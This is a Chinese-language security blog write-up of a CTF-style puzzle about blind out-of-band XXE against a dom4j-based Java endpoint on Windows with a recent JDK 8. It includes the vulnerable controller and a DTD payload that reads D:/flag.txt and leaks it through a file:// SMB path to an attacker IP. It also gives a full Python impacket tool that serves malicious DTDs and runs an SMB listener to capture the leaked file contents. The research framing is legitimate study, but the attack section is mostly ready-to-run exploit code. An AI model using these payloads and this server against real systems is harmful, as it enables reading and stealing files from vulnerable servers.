Skip to content

How to Exploit OOB XXE to Exfiltrate Multi-Line Data in a High-Version JDK 8 Environment on Windows

约 1578 字大约 5 分钟

Java

2025-11-12

前言

看到[漫漫安全路]公众号发布了一个关于 XXE 在 JDK8 相对高版本环境的 Puzzle,值得探究一下内部有趣的利用方式

import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.StringReader;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;

@RestController
@RequestMapping("/api/system")
public class BlindXxeController {

    @PostMapping("/update-config")
    public ResponseEntity<Map<String, Object>> updateSystemConfig(
            @RequestParam("configXml") String configXml,
            HttpServletRequest request) {

        Map<String, Object> response = new HashMap<>();

        try {
            CompletableFuture.runAsync(() -> {
                try {
                    SAXReader reader = new SAXReader();
                    Document document = reader.read(new StringReader(configXml));
                    processConfigDocument(document);

                } catch (DocumentException e) {
                    System.err.println("配置处理错误: " + e.getMessage());
                }
            });
            response.put("status", "success");
            response.put("message", "配置更新请求已提交,正在后台处理");

            return ResponseEntity.ok(response);

        } catch (Exception e) {
            response.put("status", "error");
            response.put("message", "配置更新请求失败");
            response.put("error", "系统内部错误");

            return ResponseEntity.internalServerError().body(response);
        }
    }

    private void processConfigDocument(Document document) {
        try {
            Element root = document.getRootElement();
            List<Element> settings = root.elements("setting");
            for (Element setting : settings) {
                String name = setting.attributeValue("name");
                String value = setting.getTextTrim();
                System.out.println("更新配置: " + name + " = " + value);
            }

            System.out.println("配置处理完成,共处理 " + settings.size() + " 个配置项");

        } catch (Exception e) {
            System.err.println("配置处理异常: " + e.getMessage());
        }
    }
}

dom4j 版本无要求

尝试

题目是完全没回显的,报错即使是盲注什么的肯定是无法利用了,只能想办法外带。随便写个 xml 嵌套个实体向往发个请求看一下,发现是 JDK-202,测了下 http 协议外带不出去,由于 Java java.net.URI 会对 URL 做检查,内部多行文件的 \n 导致直接报 URL InValid,

image-20251202230842340

image-20251202221141041

再尝试了下 XXE 另一种OOB的方法 ftp 协议,能正常建立连接但是无法带出任何信息,这就引出这次探究的一个关键之处

image-20251202231737147

不仅对于后面的命令有检测,前部的用户名和密码位置也有检测

image-20251203125410572

当切换成版本较低的如 JDK8-u65 是可以正常外带出多行的信息image-20251203121832787

对题目测试时候发现读取 /etc/passwd 是建立不到连接的,读 C:/Windows/win.ini 反而是可以,所以这个题目居然是 Windows 环境。

探究

在翻阅了所有我能找到的文章,发现目前没有能利用 ftp 去实现绕过的方式

  1. <7u141-b00<8u131-b09 :不会受文件中\n的影响;
  2. >jdk8u162:能创建 FTP 连接,外带文件内容中含有\n则抛出异常;
  3. >jdk8u232:不能创建 FTP 连接,只要 url 中含有\n就会抛出异常,为了避免通过观测是否建立连接判断文件存在
  4. 可能对外请求的几种协议

image-20251203143515568

这个题目既然是 Windows 环境,想必有一些特性需要利用,通过建立连接的方式试了几个常用的都没有,大概率是增加了后缀,需要想办法知道文件名,想不到可以 RCE 的点 ,最后发现是利用 SMB 协议去外带文件,欠缺渗透的经验导致我对于 SMB 或者 Windows 上的一些特殊之处毫无敏感性

珂技知识分享的博主提到了NTFS文件流****文件不区分大小写 3,短文件名

smb.dtd

<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://172.22.33.254/%all;'>">%eval;%error;

xml

<?xml version="1.0"?><!DOCTYPE GVI [<!ENTITY % all SYSTEM "file:///D:/flag.txt" ><!ENTITY % dtd SYSTEM "http://172.22.33.254:8000/smb.dtd">%dtd;]>

调试进去可以看到file协议头被解析出 smb 的格式,如果直接套 smb 格式反而会报错,new URL(url)实际上是不支持**\127.0.0.1\test这种写法的,仅支持file://127.0.0.1/test**。真正支持**\127.0.0.1\test**的是new File(path)。

image-20251203152301080

最后可以开一个 samba 去tcpdump 抓包看流量(注意共享目录要真实存在),也可以像出题人一样写个 smb 接收服务,值得注意的是这个本地不方便复现,因为家宽发不出去445端口请求,且 win11 默认不可访问匿名的 smb 服务

python3 xxe-smb-server.py public-ip-address web-port
#!/usr/bin/env python3
from impacket.smbserver import SimpleSMBServer
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
import os
import logging
import threading
import argparse


class XXEHandler(BaseHTTPRequestHandler):
    
    public_ip = None
    
    def do_GET(self):
        """处理所有 GET 请求"""
        self.send_response(200)
        self.send_header('Content-type', 'application/xml')
        self.end_headers()
        
        # 构造 XXE payload
        payload = f'<!ENTITY % all "<!ENTITY send SYSTEM \'file:////{self.public_ip}/a%file;\'>">\n%all;'
        
        self.wfile.write(payload.encode())
        
        # 记录请求
        logging.info(f"[HTTP] Request from {self.address_string()} - Path: {self.path}")
        logging.info(f"[HTTP] Sent payload: {payload}")
    
    
    def log_message(self, format, *args):
        """自定义日志格式"""
        logging.info(f"[HTTP] {self.address_string()} - {format % args}")


def start_http_server(port, public_ip):
    """启动 HTTP 服务器"""
    XXEHandler.public_ip = public_ip
    server = HTTPServer(('0.0.0.0', port), XXEHandler)
    logging.info(f"[*] HTTP Server started on port {port}")
    logging.info(f"[*] XXE Payload URL: http://{public_ip}:{port}/xxe.dtd")
    server.serve_forever()


def start_smb_server(share_path):
    """启动 SMB 服务器"""
    server = SimpleSMBServer(listenAddress='0.0.0.0', listenPort=445)
    server.addShare('SHARE', share_path, '')
    server.setSMBChallenge('')
    server.setSMB2Support(True)
    server.start()


def main():
    # 解析命令行参数
    parser = argparse.ArgumentParser(
        description='XXE SMB Server - Combined HTTP and SMB server for XXE exploitation',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
        Examples:
        %(prog)s 1.2.3.4              # 使用默认 HTTP 端口 80
        %(prog)s 1.2.3.4 8080         # 使用自定义 HTTP 端口 8080
        ''')
    
    parser.add_argument('public_ip', 
                        help='公网 IP 地址 (必需)')
    parser.add_argument('webport', 
                        type=int, 
                        nargs='?', 
                        default=80,
                        help='HTTP 服务端口 (默认: 80)')
    parser.add_argument('-s', '--share-path',
                        default='/tmp/share',
                        help='SMB 共享目录路径 (默认: /tmp/share)')
    
    args = parser.parse_args()
    
    # 验证 IP 地址格式(简单验证)
    if not args.public_ip or args.public_ip.count('.') != 3:
        parser.error("请提供有效的公网 IP 地址")
    
    # 自动创建共享目录
    os.makedirs(args.share_path, exist_ok=True)
    
    # 配置详细日志输出
    logging.basicConfig(
        level=logging.DEBUG,
        format='%(asctime)s [%(levelname)s] %(message)s',
        datefmt='%Y-%m-%d %H:%M:%S'
    )
    
    # 设置 impacket 相关模块的日志级别
    logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG)
    payload = f'''Usage:
  1. 请发送如下XXE payload到目标服务器 
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///">
  <!ENTITY % dtd SYSTEM "http://{args.public_ip}:{args.webport}/data.dtd"> %dtd;
  ]>
  <data>&send;</data>
  2. SMB 服务器将捕获文件内容'''
    print(payload)
    
    try:
        # 在单独的线程中启动 HTTP 服务器
        http_thread = threading.Thread(
            target=start_http_server, 
            args=(args.webport, args.public_ip),
            daemon=True
        )
        http_thread.start()
        
        # 在主线程中启动 SMB 服务器
        start_smb_server(args.share_path)
        
    except KeyboardInterrupt:
        print("\n[*] Servers stopped")
        sys.exit(0)
    except PermissionError:
        print("\n[!] Error: Permission denied. Please run with sudo for port 445 and port 80")
        sys.exit(1)
    except Exception as e:
        print(f"\n[!] Error: {e}")
        sys.exit(1)


if __name__ == '__main__':
    main()

e885abb786345d977c26780c8793fea0

771131b1d6851d47ba165721d063d08f

Reference

Make XXE Attacks Brilliant Again !!!

java-xxe中两种数据传输形式及相关限制

另外一种XXE OOB